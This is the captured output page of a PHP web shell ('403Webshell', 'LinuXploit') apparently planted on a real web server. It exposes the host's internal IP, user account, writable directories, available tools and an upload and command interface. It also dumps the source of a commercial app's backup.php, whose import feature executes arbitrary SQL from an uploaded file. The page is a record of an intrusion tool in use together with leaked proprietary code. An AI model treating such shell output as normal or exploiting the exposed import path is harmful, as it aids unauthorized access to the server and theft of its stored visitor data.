403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usafundingapplications.org/vsa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usafundingapplications.org/vsa/backup.php
<?php
/*
Copyright (c) 2007-present InnAnTech Industries
Author: Dave Guindon
Web: www.VirtualSmartAgent.com
Support: www.DaveGuindonSupport.com

Please send bug reports, suggestions and/or feedback to the support
website given above.

Virtual Smart Agent is a commercial software. Any distribution is strictly prohibited
unless a resale rights license was delivered along with this software.
*/

include('modfiles/db.php');

$dt = date('d_m_y__H_i_s');

if ($_POST['vdxbutton']){ //Export Visitor Data

  $vdxradio = $_POST['vdxradio'];

  $conn = mysql_connect("$dbhost", "$dblogin", "$dbpass") or die ('I cannot connect to the database.');
  mysql_select_db($dbname, $conn);

  $sql = "SELECT * FROM $userdataTable";  
  $result = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
  if ($result){
    $nc = mysql_num_rows($result);
    if ($nc > 0){
      $dout = '';
	  $row = '';
	  while($row=@mysql_fetch_row($result)){  
	    $cid = $row[1];
	    $sql = "SELECT * FROM $campaignTable WHERE id='$cid'";
	    $result2 = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
		$camp = mysql_fetch_assoc($result2);
		$label = $camp['label'];
	  
	    $line = '';		 	  		
		//prepare data for CSV. Avoid duplicate emails
		if (strpos($dout, $row[5]) !== false){
		  //nothing  		
		}else{
		  $dout .= $label.','.$row[4].','.$row[5]."\r\n";
		}						  
	  }//end while	  	  
					
	  $fname = 'visitordata_'.$dt.'.'.$vdxradio; //filename
      DownloadFile($fname, $dout, $vdxradio); //tell browser to download file
					
    }//end if nc  
  }//end if result

}else if ($_POST['ssxbutton']){ //Export System Settings
  
  $conn = mysql_connect("$dbhost", "$dblogin", "$dbpass") or die ('I cannot connect to the database.');
  mysql_select_db($dbname, $conn);
  $dout = '';
  
  //first extract all the campaigns
  $sql = "SELECT * FROM $campaignTable";
  $result = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
  while($row=@mysql_fetch_row($result)){  
    $line = '';
	foreach($row as $key=>$value){	  
	  $value = str_replace("\r", '', $value); //remove cariage return
	  $value = str_replace("\n", '', $value); //remove new lines
	  $value = addslashes($value);	  
	  if ($key == 0){
	    //$line .= "'',";
		$line .= "null,";
	  }else if ($key == count($row)-1){
		$line .= "'$value'";  
	  }else{
	    $line .= "'$value',";
	  }
	}
	$line = '%%CID'.$row[0].'%%'.'INSERT INTO '.$campaignTable.' VALUES ('.$line.');';
	$dout .= $line."\r\n";  			
  }//end while
  
  $dout .= GetTableData($linksTable,$conn);
  $dout .= GetTableData($messTable,$conn);
  $dout .= GetTableData($smartTable,$conn);

  $fname = 'systemsettings_'.$dt.'.vbk'; //filename
  DownloadFile($fname, $dout, 'vbk'); //tell browser to download file

}else if ($_POST['ssibutton']){ //Import System Settings

  //check php's built-in errors
  $err = '';
  if ($_FILES['ssimportfile']['error'] == 1){
    $err[] = "php.ini max file size exceeded.";
  }else if ($_FILES['ssimportfile']['error'] == 2){
    $err[] = "html form max file size exceeded.";
  }else if ($_FILES['ssimportfile']['error'] == 3){
    $err[] = "file upload was only partial.";
  }else if ($_FILES['ssimportfile']['error'] == 4){
    $err[] = "no file was attached.";
  }
	
  //check if the file was uploaded via HTTP POST
  if (!is_uploaded_file($_FILES['ssimportfile']['tmp_name'])) {
    $err[] = "not an HTTP upload.";  	  	  
  }
	  
  //validate the type of file input. Only accept .vbk file
  $fname = $_FILES['ssimportfile']['name'];
  $fname = strtolower($fname);
  if (strpos($fname,'.vbk') !== false){
    //nothing
  }else{
    $err[] = "the file does not appear to be a Virtual Smart Agent backup file";
  }	    
	  
  //get the contents of the uploaded file	 	
  $file = fopen ($_FILES['ssimportfile']['tmp_name'], "r");
  if (!$file) {
    echo "<p>Unable to open file.\n";
    exit;
  }
  $lines = '';
  while (!feof ($file)) {    
    //$s = fgets ($file, 4096);	
	$s = fgets ($file, 8192);
	if ($s != ''){
	  $lines[]=$s;
	}  
  }
  fclose($file);
	
  
  $conn = mysql_connect("$dbhost", "$dblogin", "$dbpass") or die ('I cannot connect to the database.');
  mysql_select_db($dbname, $conn);
	
  //search and replace id codes
  $codes='';
  foreach($lines as $sql){	
    if($sql != ''){	
	  //insert campaigns first	  	     	  
	  if (strpos($sql,$campaignTable) !== false){
	    //grab the code
		$p = strpos($sql,'INSERT');
		$thecode = substr($sql,0,$p);			
		$sql = substr($sql,$p,strlen($sql)-$p);
		
		//enter this campaign id
		mysql_query($sql,$conn); if (mysql_error()){ $err[] = mysql_error(); break; } 
		
		//get the id
		$thisres = mysql_query("SELECT LAST_INSERT_ID()",$conn);if (mysql_error()){ $err[] = mysql_error(); break; }
	    $tmprec = mysql_fetch_row($thisres);
	    $lastid = $tmprec[0];
		
		//store codes
		$codes[$lastid] = $thecode; 	  
	  }else{

	    //replace codes with new cids
	    foreach($codes as $key=>$value){		
		  $sql = str_replace($value, $key, $sql);  		
		}
	  
	    //insert into corresponding db table
	    mysql_query($sql,$conn); if (mysql_error()){ $err[] = mysql_error(); break; }   					  

	  }//end if strpos	  
	}//end if $sql
  }//end foreach
	
  //show errors
  if ($err !== ''){
    $show = 'There were errors with the data you are trying to input:<br />';
	$show .= '<ul>';
	foreach($err as $value){
	  $show .= '<li>'.$value.'</li>';
	}
	$show .= '</ul><br />';
  	$show = '<span style="color: #FF0000">'.$show.'</span>';  	  
  }else{
    $show  = '<p style="color: #0000FF">The given system setting have been successfully imported. </p>'; 
	$show .= '<p style="color: #0000FF"><b>NOTE:</b> Make sure to add agents for the imported campaigns<br>'; 
	$show .= 'using the "AGENTS" section of the control panel.<br>'; 
	$show .= 'By default there are no agents for all imported campaigns.</p>';   
  }
  echo $show;
}
	
/*==================================================================*/	

function DownloadFile($fname, $dout, $ctype){
    header ('Cache-Control: must-revalidate, post-check=0, pre-check=0'); 	
	if ($ctype == 'csv'){
	  //header ("Content-type: application/x-msdownload"); //maybe try this one if other type doesn't work?
	  header ("Content-type: application/vnd.ms-excel");
	}else{
	  header ('Content-Type: application/octet-stream');
    }
    header ("Content-Disposition: attachment; filename=\"$fname\""); 
	header ('Pragma: no-cache');
    header ('Expires: 0');
	echo $dout;
    return true;
}

/*==================================================================*/

function FixForCSV($comments) {
  $comments = str_replace('"', '""', $comments); // First off escape all " and make them ""
  if(preg_match("/,/i", $comments) or preg_match("/\n/i", $comments)) { // Check if I have any commas or new lines
    return '"'.$comments.'"'; // If I have new lines or commas escape them
  } else {
    return $comments; // If no new lines or commas just return the value
  }
}

/*==================================================================*/

function GetTableData($table,$conn){
  $sql = "SELECT * FROM $table";
  $result = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
  $dout = '';
  if ($result){ 
    $nc = mysql_num_rows($result);
    if ($nc > 0){
      while($row=@mysql_fetch_row($result)){
	    $line = '';		
		foreach($row as $key=>$value){
 		  $value = addslashes($value);
		  $value = str_replace("\r", '', $value); //remove cariage return
   	      $value = str_replace("\n", '', $value); //remove new lines
		  if ($key == 0){
		    $line .= "null,";
		  }else if ($key == 1){
		    $line .= "'%%CID".$value."%%',"; 
		  }else if ($key == count($row)-1){
		    $line .= "'$value'";
		  }else{
		    $line .= "'$value',";
		  }	  	
		}			
		$line = 'INSERT INTO '.$table.' VALUES ('.$line.');';
        $dout .= $line."\r\n";		
	  }//end while  
    }//end if nc
  }//end if result
  return $dout;
}

/*==================================================================*/

?>

Youez - 2016 - github.com/yon3zu
LinuXploit